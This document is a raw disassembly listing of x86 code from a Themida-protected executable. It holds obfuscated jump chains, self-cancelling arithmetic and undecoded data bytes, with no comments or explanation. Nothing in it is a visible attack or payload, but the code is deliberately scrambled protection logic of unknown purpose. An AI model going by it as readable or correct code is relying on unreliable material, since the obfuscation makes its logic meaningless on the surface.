		sub	eax, 67D81E7Dh
		pop	edi
		add	ebp, eax
		pop	eax
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 2
		jmp	loc_56648C
; ---------------------------------------------------------------------------
		dd 0CD2A2268h, 0E9C1595Fh, 1BC18104h, 507FF920h, 33D8E9h
		dd 4C68100h, 57000000h,	5733EDBFh, 79F8E92Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553BAE:				; CODE XREF: Themida_:0055607Bj
		add	eax, 0F862460h
		pop	esi
		jmp	loc_564595
; ---------------------------------------------------------------------------
		db 66h,	89h, 4
		dd 0DB2CE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553BC2:				; CODE XREF: Themida_:0055FBF1j
		add	eax, 4BDE4F1Eh
		add	eax, esi
		sub	eax, 4BDE4F1Eh
		jmp	loc_560B57
; ---------------------------------------------------------------------------


loc_553BD3:				; CODE XREF: Themida_:0055DF4Dj
		pop	eax
		add	ecx, ebp
		pop	ebp
		xchg	ecx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_557EBB
; ---------------------------------------------------------------------------
		dw 489h
		dd 1667B824h, 0D0F73378h, 297FE9h, 0F7464E00h, 81EE81DEh
		dd 89C66043h, 0CB2D5EF0h, 4865AE70h, 34703548h,	4DE92BE6h
		dd 89000127h, 4BD242Ch,	29000000h, 34875DEEh, 24248B24h
		dd 54243489h, 0BA52505Eh, 419F3764h, 0EB7AE9h
		db 0
; ---------------------------------------------------------------------------


loc_553C35:				; CODE XREF: Themida_:00564758j
		shl	ebp, 3
		sub	ebp, 0D3999519h
		add	edi, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		xor	edi, 38CFF3Dh
		jmp	loc_55CA05
; ---------------------------------------------------------------------------
aUs1j		db 'Ué1J',0
		dw 3100h
		dd 0C33240Ch, 47E95C24h, 5A000016h, 9FFAE9h, 8080B300h
		dd 0EA80FAEAh, 33E951AEh, 5C000025h, 2474FF55h,	2434FF04h
		dd 0E9242C8Bh, 3956h, 93E9F529h, 5D0000FAh, 835EF031h
		dd 148904ECh, 552EBA24h, 0B9511416h, 760D2094h,	0C106E9C1h
		dd 0F18103E9h, 7BFD0F53h, 0F7CAC181h, 0B850F67Ah, 5E602C69h
		dd 0FDF8E9h, 83D5F700h,	348904ECh, 0E49BE924h, 0E8C10000h
		dd 0E8C14007h, 8DBE5608h, 290000AFh, 9BDE9F0h, 815C0001h
		dd 4ECh, 240C8900h, 2434FF54h, 0E2895259h, 4C281h, 0C2830000h
		dd 24148704h, 0E56AE9h
		db 0
; ---------------------------------------------------------------------------


loc_553D09:				; CODE XREF: Themida_:00559C9Bj
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		sub	ecx, 0CAE5D4BFh
		push	5620h
		mov	[esp], ecx
		pop	edi
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_5658A4
; ---------------------------------------------------------------------------
		dw 43BBh
		dd 817DF265h, 1C1044C3h, 8AC38104h, 810EB256h, 0DB53C0C3h
		dd 0F381436Bh, 0FC9C1FD6h, 5648C181h, 0D9014722h, 9150E953h
		dd 0B9510000h, 1, 0E959CE01h, 774Fh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_55D36E
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 8124048Bh, 4C4h, 0E9545500h,	96B5h, 0E941C280h, 1126Ch
; ---------------------------------------------------------------------------


loc_553DA8:				; CODE XREF: Themida_:0055637Dj
		push	7FE9h
		jmp	loc_5626F6
; ---------------------------------------------------------------------------
		dw 0D829h
		dd 68241C8Bh, 0BEAh, 54241C89h,	6BEEE9h, 0F1814900h, 226B3D0Ch
		dd 0BA83E9h, 0C3816600h, 0D9E9163Fh
		db 4Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_553DDB:				; CODE XREF: Themida_:0056412Dj
		push	eax
		sub	esp, 4
		jmp	loc_55D1C8
; ---------------------------------------------------------------------------


loc_553DE4:				; CODE XREF: Themida_:00560530j
		neg	edx
		and	edx, 2E0C0C23h
		or	edx, 5F185A0Eh
		push	edi
		mov	edi, 40872992h
		add	edi, 1E953478h
		xor	edx, edi
		pop	edi
		mov	eax, edx
		pop	edx
		add	esi, eax
		pop	eax
		xchg	esi, [esp]
		pop	esp
		and	eax, ebx
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		push	esi
		mov	esi, 6AF954B3h
		shr	esi, 4
		jmp	loc_55C9E9
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 81E38953h, 4C3h, 4EB8300h, 5C241C87h, 0FF242C89h, 0E9042474h
		dd 9F64h, 9D1C77FFh, 4105866h, 9FE99C24h
		db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553E4F:				; CODE XREF: Themida_:00551BC5j
		sub	ecx, 167E4282h
		or	ecx, 21F84CE1h
		xor	ecx, 0B1FF112Ch
		mov	ebx, ecx
		pop	ecx
		jmp	loc_56276E
; ---------------------------------------------------------------------------


loc_553E69:				; CODE XREF: Themida_:00555852j
		mov	[esp], edi
		push	3D06403Fh
		pop	edi
		sub	edi, 4E047B84h
		shr	edi, 7
		push	ecx
		mov	ecx, 7DC9405Bh
		sub	ecx, 7BEB3CD2h
		sub	edi, ecx
		pop	ecx
		mov	ebp, edi
		pop	edi
		push	ecx
		mov	ecx, ebp
		push	ecx
		pop	eax
		pop	ecx
		pop	ebp
		add	eax, ebx
		jmp	loc_566B09
; ---------------------------------------------------------------------------
		db 0F7h
		dd 1BF57D5h, 95DA95Ah, 95E95FFDh, 87000006h, 335C242Ch
		dd 3C31243Ch, 243C3324h, 6624248Bh, 66240C89h, 66C8B60Fh
		dd 23E99C51h
		db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553ECB:				; CODE XREF: Themida_:005617ADj
		xchg	ebx, edx
		not	ebx
		jmp	loc_5569B8
; ---------------------------------------------------------------------------


loc_553ED4:				; CODE XREF: Themida_:00553437j
		sub	edi, 7EE24132h
		inc	edi
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_565E89
; ---------------------------------------------------------------------------
		dw 1C87h
		dd 0A11E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553EEE:				; CODE XREF: Themida_:0055D42Dj
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_560257
; ---------------------------------------------------------------------------


loc_553F0B:				; CODE XREF: Themida_:0055A968j
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_554339
; ---------------------------------------------------------------------------


loc_553F14:				; CODE XREF: Themida_:005545C0j
		add	[esp+8], esi
		push	eax
		mov	eax, 1A907A25h
		add	[esp+0Ch], eax
		pop	eax
		jmp	loc_55889D
; ---------------------------------------------------------------------------
		dd 0E9240C31h, 2265h, 5D2434FFh, 0ABE95456h, 0E9000051h
		dd 0FFFFD7AEh, 0E9E08950h, 0C0Fh, 0FF2434FFh, 0C8B2434h
		dd 4C48124h, 81000000h,	4C4h, 39166800h, 0C890000h, 0E3895324h
		dd 0F836E9h
		db 0
; ---------------------------------------------------------------------------


loc_553F6D:				; CODE XREF: Themida_:00563745j
		pop	esp
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_559938
; ---------------------------------------------------------------------------


loc_553F82:				; CODE XREF: Themida_:0055845Aj
		add	ebx, ecx
		pop	ecx
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_5565C8
; ---------------------------------------------------------------------------


loc_553F90:				; CODE XREF: Themida_:00558DAFj
		push	ebx
		jmp	loc_55FCCD
; ---------------------------------------------------------------------------
		dw 34FFh
aXsV		db '$XéÝV',0
		dw 8800h
		dd 0F5285AF5h, 4F3CE95Ah, 0CC800000h, 5E4C0FEh,	9DB75366h
		dd 5B66FC28h, 48BE188h,	4C48324h, 83E9E100h, 0BAFFFFFBh
		dd 54091542h, 14E9D2F7h
		db 0Ah,	1, 0
; ---------------------------------------------------------------------------


loc_553FD3:				; CODE XREF: Themida_:00551E7Fj
		mov	dl, bl
		jmp	loc_55EF8B
; ---------------------------------------------------------------------------


loc_553FDA:				; CODE XREF: Themida_:00551B40j
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		dec	byte ptr [esp]
		pushf
		jmp	loc_5516EE
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481243Ch, 4, 4C481h, 0C3810000h, 2462606Fh, 0C768C329h
		dd 89000028h, 19E92404h
		db 14h,	1, 0
; ---------------------------------------------------------------------------


loc_554013:				; CODE XREF: Themida_:0056002Fj
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_558626
; ---------------------------------------------------------------------------


loc_554021:				; CODE XREF: Themida_:0055D4B9j
		add	esp, 4
		not	ecx
		shl	ecx, 2
		neg	ecx
		push	edi
		mov	edi, 526EE3C4h
		jmp	loc_554B67
; ---------------------------------------------------------------------------
		db 58h,	0C0h, 0E5h
		dd 0FFC58003h, 8607E5C0h, 913AE9D5h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55404A:				; CODE XREF: Themida_:00561960j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_552A68
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 24148B24h, 8104C483h, 4C4h, 24348B00h, 4C481h, 0D0310000h
		dd 0D031C231h, 1C8B5453h, 4C48124h, 68000000h, 0D5Fh, 0B8240489h
		dd 4, 29C0E9h
		db 0
; ---------------------------------------------------------------------------


loc_554091:				; CODE XREF: Themida_:0055689Ej
		sub	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_563DBD
; ---------------------------------------------------------------------------
aWs		db '\Wé:+',0
		align 2
		dw 0E181h
		dd 5DFC6C86h, 68h, 18BE900h, 0F2310000h, 0AE68D631h, 8900002Bh
		dd 0FF572414h, 5F042474h, 1A41E9h, 422FBD00h, 555226FEh
		dd 5264BABDh, 1BBF572Ch, 812DCE18h, 3D29C1EFh, 0EFC14F7Ah
		dd 6FCF8105h, 0F742511Eh, 4FF781DFh, 290F0C3Ah,	9AF3E9FDh
		dd 8B5A0000h, 8F682434h, 89000052h, 0EC83240Ch,	24248904h
		dd 3630E9h, 0C2815A00h,	631D154Eh, 0EA81CA29h, 631D154Eh
		dd 81FA0159h, 7A4DDAC2h, 2434FF09h, 0FFE306E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_554139:				; CODE XREF: Themida_:0055A367j
		add	edx, edi
		sub	edx, 72062C50h
		jmp	loc_552D29
; ---------------------------------------------------------------------------
		dw 815Eh
		dd 58F955C6h, 0E9F789C6h, 0E375h, 7FB5C181h, 0E9D11800h
		dd 0C919E9h, 7E8C000h, 5295B652h, 0D653E9h, 0C1815900h
		dd 4, 46850h, 48B0000h,	4C48324h, 8758C101h, 685C240Ch
		dd 58F5h, 57240C89h, 4004E9h, 68525D00h, 7263308Eh, 0FD45E9h
		db 0
; ---------------------------------------------------------------------------


loc_5541A1:				; CODE XREF: Themida_:0055D612j
		add	eax, ebp
		pop	ebp
		add	esi, 1A2B176Ah
		add	esi, eax
		push	edi
		mov	edi, 6C560906h
		add	edi, 29F52628h
		jmp	loc_555AF6
; ---------------------------------------------------------------------------
		db 66h,	59h, 80h
		dd 880460F2h, 5A68D000h, 89000077h, 40B5240Ch, 431AE9h
		db 0
; ---------------------------------------------------------------------------


loc_5541D5:				; CODE XREF: Themida_:0055D7B8j
		sub	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_560E49
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 0DB4F97B9h, 84E98166h, 0E934AD0Ch, 0DBBFh, 0A1C380h
		dd 0A1EB80E3h, 8B82C380h, 0C4812404h, 4, 0E9C0B60Fh, 7020h
; ---------------------------------------------------------------------------


loc_554214:				; CODE XREF: Themida_:0055197Aj
		not	al
		jmp	loc_55A354
; ---------------------------------------------------------------------------


loc_55421B:				; CODE XREF: Themida_:005627ECj
		add	esp, 4
		add	esp, 4
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_55F293
; ---------------------------------------------------------------------------
		db 29h,	0Ch, 24h
		dd 43F18159h, 2982049Eh, 575B59C8h, 71B3B951h, 0CF89106Ah
		dd 4D2F6859h, 14890000h, 2141BA24h, 0BE560DA0h,	359C629Ah
		dd 92F4E9h, 59CB8900h, 64C3815Ah, 4365AD38h, 144468h, 24048900h
		dd 9D015A68h, 663CE93Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554292:				; CODE XREF: Themida_:00560C60j
		mov	esi, 24FE46B3h
		add	[esp+8], esi
		jmp	loc_554A97
; ---------------------------------------------------------------------------
		dd 797E355Ah, 982D6D97h, 15825DEh, 28D2E9C2h, 0B9510000h
		dd 4, 8846E9h
		db 0
; ---------------------------------------------------------------------------


loc_5542BD:				; CODE XREF: Themida_:005622DEj
		add	edx, eax
		mov	eax, [esp]
		add	esp, 4
		sub	edx, 2BB3152Fh
		add	edx, ebp
		add	edx, 2BB3152Fh
		jmp	loc_5546E0
; ---------------------------------------------------------------------------
		dd 6D46EF81h, 0E7C179D4h, 0FDEF8104h, 0E9DBFB4Dh, 41C9h
; ---------------------------------------------------------------------------


loc_5542EC:				; CODE XREF: Themida_:00563859j
		sub	ecx, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_558A4B
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 81000000h, 4C7h, 243C8700h, 0E924248Bh, 0B9AEh, 2474FF53h
		dd 0A102E904h, 9D680000h, 0E9000008h, 402Eh
; ---------------------------------------------------------------------------


loc_554328:				; CODE XREF: Themida_:0055A4B9j
		mov	edi, esp
		jmp	loc_56295F
; ---------------------------------------------------------------------------
		db 42h
		dd 2414F752h, 0FFF53CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_554339:				; CODE XREF: Themida_:00553F0Fj
		and	eax, edx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_552BF3
; ---------------------------------------------------------------------------
		dd 50241489h, 0D3A0E99Ch, 1489FFFFh, 56B56824h,	4A5A2F6Fh
		dd 20FDE281h, 0EA814DCEh, 0D4E00B0h, 0E7E9D689h, 5E0000A6h
		dd 8324048Bh, 0C3304C4h, 240C3124h, 5C240C33h, 0BACE9h
		dd 7A8E6800h, 24890000h, 24048124h, 4, 0CBF1E9h, 243C3300h
		dd 0E9243C31h, 10C8Bh, 0D1DCE95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5543A6:				; CODE XREF: Themida_:00553164j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5630A9
; ---------------------------------------------------------------------------


loc_5543C6:				; CODE XREF: Themida_:0056068Aj
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		push	3803h
		mov	[esp], edi
		mov	edi, 4
		sub	eax, 6F094444h
		add	eax, 32AB1231h
		add	eax, edi
		sub	eax, 32AB1231h
		jmp	loc_5589EB
; ---------------------------------------------------------------------------
		dd 240C8B66h, 61668h, 240C8900h, 2F7568h, 24248900h, 4240481h
		dd 0E9000000h, 0FFFFF681h, 0E9242C33h, 351Ah, 448068h
		dd 5D42E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554426:				; CODE XREF: Themida_:00563EF1j
		mov	dl, bh
		mov	[ecx], dl
		pop	edx
		jmp	loc_55C6B2
; ---------------------------------------------------------------------------


loc_554430:				; CODE XREF: Themida_:00561728j
		pop	esi
		push	esi
		jmp	loc_55B18D
; ---------------------------------------------------------------------------
		db 89h
		dd 5150241Ch, 0CAB099B1h, 0C8BC828h, 4C48324h, 0C7287FB7h
		dd 98DCE958h, 6D680000h, 8B406E3Eh, 0C4812404h,	4, 0C59CE9h
		db 0
; ---------------------------------------------------------------------------


loc_554465:				; CODE XREF: Themida_:00564393j
		pop	eax
		mov	ebp, [esp]
		jmp	loc_55F519
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 4C48124h, 68000000h,	7553h, 0E9242C89h, 0DB4Ah
; ---------------------------------------------------------------------------


loc_554484:				; CODE XREF: Themida_:0055F028j
		mov	edi, esp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4
		jmp	loc_5647E7
; ---------------------------------------------------------------------------
		dw 814Bh
		dd 19032F3h, 0E9DD2938h, 9179h
; ---------------------------------------------------------------------------


loc_5544A4:				; CODE XREF: Themida_:0055CCF7j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ebp
		mov	ebp, 3DFD2FC5h
		sub	ebp, 0E870E3B4h
		jmp	loc_555B66
; ---------------------------------------------------------------------------
		db 0B9h, 35h, 27h
		dd 0D9F77534h, 83BCE951h, 0E9AC0000h, 0FFFFE2B4h
; ---------------------------------------------------------------------------


loc_5544D8:				; CODE XREF: Themida_:00556DABj
		add	esp, 4
		add	esp, 4
		add	esp, 4
		jmp	loc_5565F2
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 7Dh
		dd 1784603h, 34FF58C5h,	89535F24h, 4C381E3h, 55000000h
		dd 4BDh, 5DEB0100h, 8986E9h
		db 0
; ---------------------------------------------------------------------------


loc_55450D:				; CODE XREF: Themida_:0055C175j
		neg	edi
		or	edi, 68E0154Ch
		xor	edi, 48606E08h
		push	edx
		mov	edx, 0F56C7126h
		sub	edi, edx
		pop	edx
		jmp	loc_553B65
; ---------------------------------------------------------------------------
aAfsaP		db '€ä™€Äp',0
		dd 1545E9E3h
		db 1, 0
; ---------------------------------------------------------------------------


loc_554536:				; CODE XREF: Themida_:0055C378j
		push	5A7Eh
		jmp	loc_55D9E8
; ---------------------------------------------------------------------------
aVss		db 'Vé‘!',0
		align 2
a0qsn		db '0ïénÉ',0
		dd 6FCE6800h, 0C890000h, 4EC8124h, 89000000h, 8EB62414h
		dd 0D7E9F588h, 0F6000000h, 6E31E9DCh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55456E:				; CODE XREF: Themida_:0055695Ej
		mov	esi, 46CC4E73h
		not	esi
		shr	esi, 5
		xor	esi, 2B63D09Dh
		jmp	loc_562688
; ---------------------------------------------------------------------------
		db 5Ah
		dd 8B24048Fh, 14892424h, 0E99C5024h, 0FFFFD15Ah
; ---------------------------------------------------------------------------


loc_554594:				; CODE XREF: Themida_:0055B868j
		sub	edx, 8B6904h


loc_55459A:				; CODE XREF: Themida_:00559D11j
					; Themida_:0055FCE1j
		push	dword ptr [edi+24h]
		push	228Dh
		mov	[esp], ecx
		mov	ecx, 93668C7h
		push	esi
		mov	esi, 3CB94B22h
		sub	dword ptr [esp+8], 72482EE8h
		sub	dword ptr [esp+8], 1A907A25h
		jmp	loc_553F14
; ---------------------------------------------------------------------------


loc_5545C5:				; CODE XREF: Themida_:005556D5j
		add	ecx, 0FFFFFFFFh
		dec	ecx
		dec	ecx
		add	ecx, 0F9D3BDFEh
		mov	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_564CDC
; ---------------------------------------------------------------------------
		dd 81240C8Bh, 4C4h, 4EC8100h, 89000000h, 8151242Ch, 4ECh
		dd 24148900h, 0BE6944BAh, 5AD18948h, 110EDE9h, 58C32800h
		dd 27B68h, 4A3CE900h, 5EBE0000h, 8900C655h, 0E3815EF3h
		dd 5D210D0h, 8FCB8143h,	817C3A14h, 256CEACBh, 15BFE947h
		dd 3C890000h, 0ECA4E924h, 525AFFFFh, 8904EC83h,	93E92404h
		dd 55000018h, 0F85A40BDh, 5DEE295Eh, 0FBE9CE01h, 8300000Fh
		dd 0FF5204C2h, 5A042474h, 5C24048Fh, 81E28952h,	4C2h, 68525700h
		dd 46CF53D1h, 175FE95Ah, 815B0001h, 4C3h, 4C38100h, 87000000h
		dd 0E95C241Ch, 0B226h, 0E987E1D1h, 8CE9D5F7h, 8F0000F4h
		dd 0FCE92404h, 8B000019h, 9CE92404h, 0C100007Bh, 0E5E904EDh
		dd 51000107h, 524FC2B9h, 0E9CD0184h, 6025h, 109A68h, 241C8900h
		dd 5CBB68h, 24248900h, 4240481h, 0E9000000h, 1C28h
; ---------------------------------------------------------------------------


loc_5546E0:				; CODE XREF: Themida_:005542D3j
		pop	ebp
		push	ebp
		jmp	loc_55DA3C
; ---------------------------------------------------------------------------


loc_5546E7:				; CODE XREF: Themida_:0055C6E5j
		shr	esi, 5
		not	esi
		xor	esi, 0F9C3FE8Eh
		add	edx, 4EE96A53h
		add	edx, esi
		sub	edx, 4EE96A53h
		pop	esi
		pop	ecx
		push	ecx
		jmp	loc_566180
; ---------------------------------------------------------------------------


loc_554708:				; CODE XREF: Themida_:00561C40j
		xor	eax, 2262E05Dh
		jmp	loc_563055
; ---------------------------------------------------------------------------
		dw 8950h
		dd 405E0h, 0C0830000h, 0DA06E904h, 0DB68FFFFh, 8900002Ch
		dd 0E389241Ch, 4C381h, 0C3810000h, 4, 5C241C87h, 192047C7h
		dd 314C6A3Fh, 34FF2047h, 2434FF24h, 582434FFh, 8304C483h
		dd 0B6E904C4h
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55475B:				; CODE XREF: Themida_:00558831j
		add	edx, ecx
		pop	ecx
		mov	edi, edx
		pop	edx
		add	ecx, edi
		push	dword ptr [esp]
		pop	edi
		push	edx
		mov	edx, esp
		push	ebx
		mov	ebx, 16A5DD9h
		jmp	loc_5580D8
; ---------------------------------------------------------------------------
		db 33h,	34h, 24h
		dd 33243431h, 248B2434h, 1FEF8124h, 1106917h, 1FC781DFh
		dd 8B106917h, 8951241Ch, 4C181E1h, 81000000h, 4C1h, 240C8700h
		dd 8956FD5Ch, 4C681E6h,	0E9000000h, 29DFh, 0FF5C381h, 0EB81174Ah
		dd 54CFE271h, 0E95BD829h, 192Dh, 4EC835Fh, 89243489h, 4C681E6h
		dd 81000000h, 4C6h, 24348700h, 0FEB2E9h, 241C8900h, 1BBh
		dd 0ADC28100h, 1086B3Eh, 0F0A9E9DAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5547FA:				; CODE XREF: Themida_:00551846j
		pop	ecx
		jmp	loc_5539CD
; ---------------------------------------------------------------------------


loc_554800:				; CODE XREF: Themida_:00560F81j
		sub	edx, 37309E7Eh
		sub	edi, edx
		jmp	loc_5600A1
; ---------------------------------------------------------------------------
		db 50h,	51h, 0B9h
		dd 3BE7796Fh, 5511F181h, 0C8893350h, 78F0E959h,	0C7810000h
		dd 51261811h, 0BC3BE9h
		db 0
; ---------------------------------------------------------------------------


loc_55482D:				; CODE XREF: Themida_:00559469j
		push	5D1A6584h
		pop	ebp
		sub	ebp, 757E1180h
		shl	ebp, 5
		jmp	loc_5634D0
; ---------------------------------------------------------------------------


loc_554841:				; CODE XREF: Themida_:00561AB9j
		and	eax, 3CA870ABh
		xor	eax, 3420700Eh
		add	edi, eax
		pop	eax
		add	edi, 4
		jmp	loc_557B45
; ---------------------------------------------------------------------------
		db 89h,	0E1h, 81h
		dd 4C1h, 4C18300h, 0C5BE951h, 0C1810001h, 0AA418CFh, 6855D929h
		dd 0AA418CFh, 5DE9295Dh, 0FFD855E9h, 8092B1FFh,	0C180BEE1h
		dd 0DEC98017h, 0FFEB43E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_554891:				; CODE XREF: Themida_:0055FE18j
		sub	al, ch
		pop	ecx
		push	ecx
		push	ebx
		push	ecx
		mov	cl, 6Ah
		sub	cl, 7Dh
		inc	cl
		xor	cl, 2
		push	eax
		mov	ah, cl
		mov	bh, ah
		pop	eax
		pop	ecx
		add	bh, 1
		not	bh
		inc	bh
		inc	bh
		sub	bh, 3Bh
		jmp	loc_55EFE0
; ---------------------------------------------------------------------------
		db 31h,	0C3h, 68h
		dd 1AB7h, 0B7241C89h, 66D7F62Dh, 1B151h, 685966CFh, 543Ah
		dd 0B2241489h, 80DAF605h, 0D720F0EAh, 6652E9h
		db 0
; ---------------------------------------------------------------------------


loc_5548E5:				; CODE XREF: Themida_:0055DD9Fj
		mov	dh, bl
		jmp	loc_5520F8
; ---------------------------------------------------------------------------
		dd 0C581E589h, 4, 8704ED83h, 14E9242Ch,	5C000116h, 0FFCDE9E9h
		dd 0E157BFFFh, 0ED81D435h, 7B52140Bh, 0C581FD29h, 7B52140Bh
		dd 0EEC3815Fh, 0E969447Bh, 0A01Bh
; ---------------------------------------------------------------------------


loc_554924:				; CODE XREF: Themida_:005653F6j
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_5516EE
; ---------------------------------------------------------------------------


loc_55492F:				; CODE XREF: Themida_:0055264Fj
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ecx
		jmp	loc_555FAA
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 7EED8100h, 106B169h, 0D8E952F5h, 0BB000120h, 6C8B3312h
		dd 515BDA31h, 0D2327AB9h, 0ABF18174h, 8178723Ch, 375845C1h
		dd 18F1812Bh, 3109F14Ch, 0D03159CAh, 0FE68565Ah, 8900007Bh
		dd 1EBD242Ch, 8104F20Ah, 555EA9F5h, 5BC5E972h, 0C870000h
		dd 18E4E924h, 0C5810000h, 5F647126h, 91E9DD01h,	5C0000FDh
		dd 949DE9h, 0FFBE5600h,	835A7301h, 1C8904ECh, 4563BB24h
		dd 0BD5549F1h, 3184523Fh, 84E9EB29h
		db 0Ch,	1, 0
; ---------------------------------------------------------------------------


loc_5549C7:				; CODE XREF: Themida_:00555EE8j
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebx
		push	edi
		mov	edi, 37940F6Dh
		jmp	loc_552447
; ---------------------------------------------------------------------------
		db 1
		dd 0EEC181E9h, 0E915B82Ch, 0CC01h, 5F25055Bh, 0C9050678h
		dd 2929401Fh, 1FC92DC8h, 0BF572940h, 7DC76447h,	0C106E7C1h
		dd 8CE903EFh, 0FEFFFFEFh, 5EFC0CFh, 6635F780h, 5F8CE951h
		dd 0D7310000h, 96BA525Ah, 5332782Ch, 0DE1D51BBh, 0F7CB8716h
		dd 0D9BDE9D1h, 0E7810000h, 5C5F6B8Ch, 307BCF81h, 0C7811CC3h
		dd 0C3012E33h, 34FFFE31h, 243C8B24h, 8104C483h,	4C4h, 4EC8100h
		dd 89000000h, 0ACBB241Ch, 29011113h, 83E95BDEh,	890000D3h
		dd 243C8BFBh, 724CE9h
		db 0
; ---------------------------------------------------------------------------


loc_554A75:				; CODE XREF: Themida_:005639CBj
		xor	esi, 4217CC7Eh
		jmp	loc_56396A
; ---------------------------------------------------------------------------


loc_554A80:				; CODE XREF: Themida_:0055D177j
		pop	ecx
		jmp	loc_5516EE
; ---------------------------------------------------------------------------
		dw 348Bh
		dd 4C48124h, 0F7000000h, 1AE953D6h
		db 37h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_554A97:				; CODE XREF: Themida_:0055429Bj
		mov	esi, [esp]
		add	esp, 4
		add	[esp+4], esi
		jmp	loc_5521F5
; ---------------------------------------------------------------------------
		db 0B9h, 9Bh, 51h
		dd 0E1E972F6h, 66FFFFFBh, 258BEE81h, 0F311E9h, 24148900h
		dd 0D1581B68h, 0DCE95A78h, 800000BCh, 0CE30EFC1h, 8B2434FFh
		dd 0D9E9240Ch, 0FF0000C0h, 34FF2434h, 24048B24h, 0FFE1CFE9h
		dd 54BE56FFh, 0E9268059h, 1CC7h
; ---------------------------------------------------------------------------


loc_554AF4:				; CODE XREF: Themida_:00565EA0j
		xor	ebx, eax
		pop	eax
		jmp	loc_55BCA2
; ---------------------------------------------------------------------------


loc_554AFC:				; CODE XREF: Themida_:00566B4Dj
		add	esp, 4
		and	edx, 393F1FB8h
		sub	edx, 9AFAD8AFh
		mov	edi, edx
		pop	edx
		add	edi, 7E443F36h
		push	edi
		not	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		shr	edi, 5
		jmp	loc_55DA87
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
		dd 6804C483h, 6185h, 0B9240C89h, 4, 0C8BCF01h, 0E0895024h
		dd 405h, 40500h, 4870000h, 0CDE95C24h, 53FFFFD3h, 4BBh
		dd 5BD80100h, 25E95351h
		db 33h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_554B67:				; CODE XREF: Themida_:00554034j
		sub	ecx, 5DD7436Dh
		add	ecx, edi
		add	ecx, 5DD7436Dh
		pop	edi
		jmp	loc_5534DD
; ---------------------------------------------------------------------------


loc_554B7B:				; CODE XREF: Themida_:005571DEj
		pop	ebx
		push	eax
		mov	ah, dl
		mov	dl, bh
		jmp	loc_55F833
; ---------------------------------------------------------------------------


loc_554B86:				; CODE XREF: Themida_:005605B3j
		push	edx
		mov	edx, 0
		add	edx, eax
		add	dword ptr [edx], 1
		pop	edx
		pop	eax
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_565FFB
; ---------------------------------------------------------------------------


loc_554BA1:				; CODE XREF: Themida_:0056279Fj
		push	ebx
		mov	bh, 38h
		not	bh
		add	bh, 6
		xor	bh, 85h
		xchg	dl, bh
		push	ebx
		push	eax
		jmp	loc_552B70
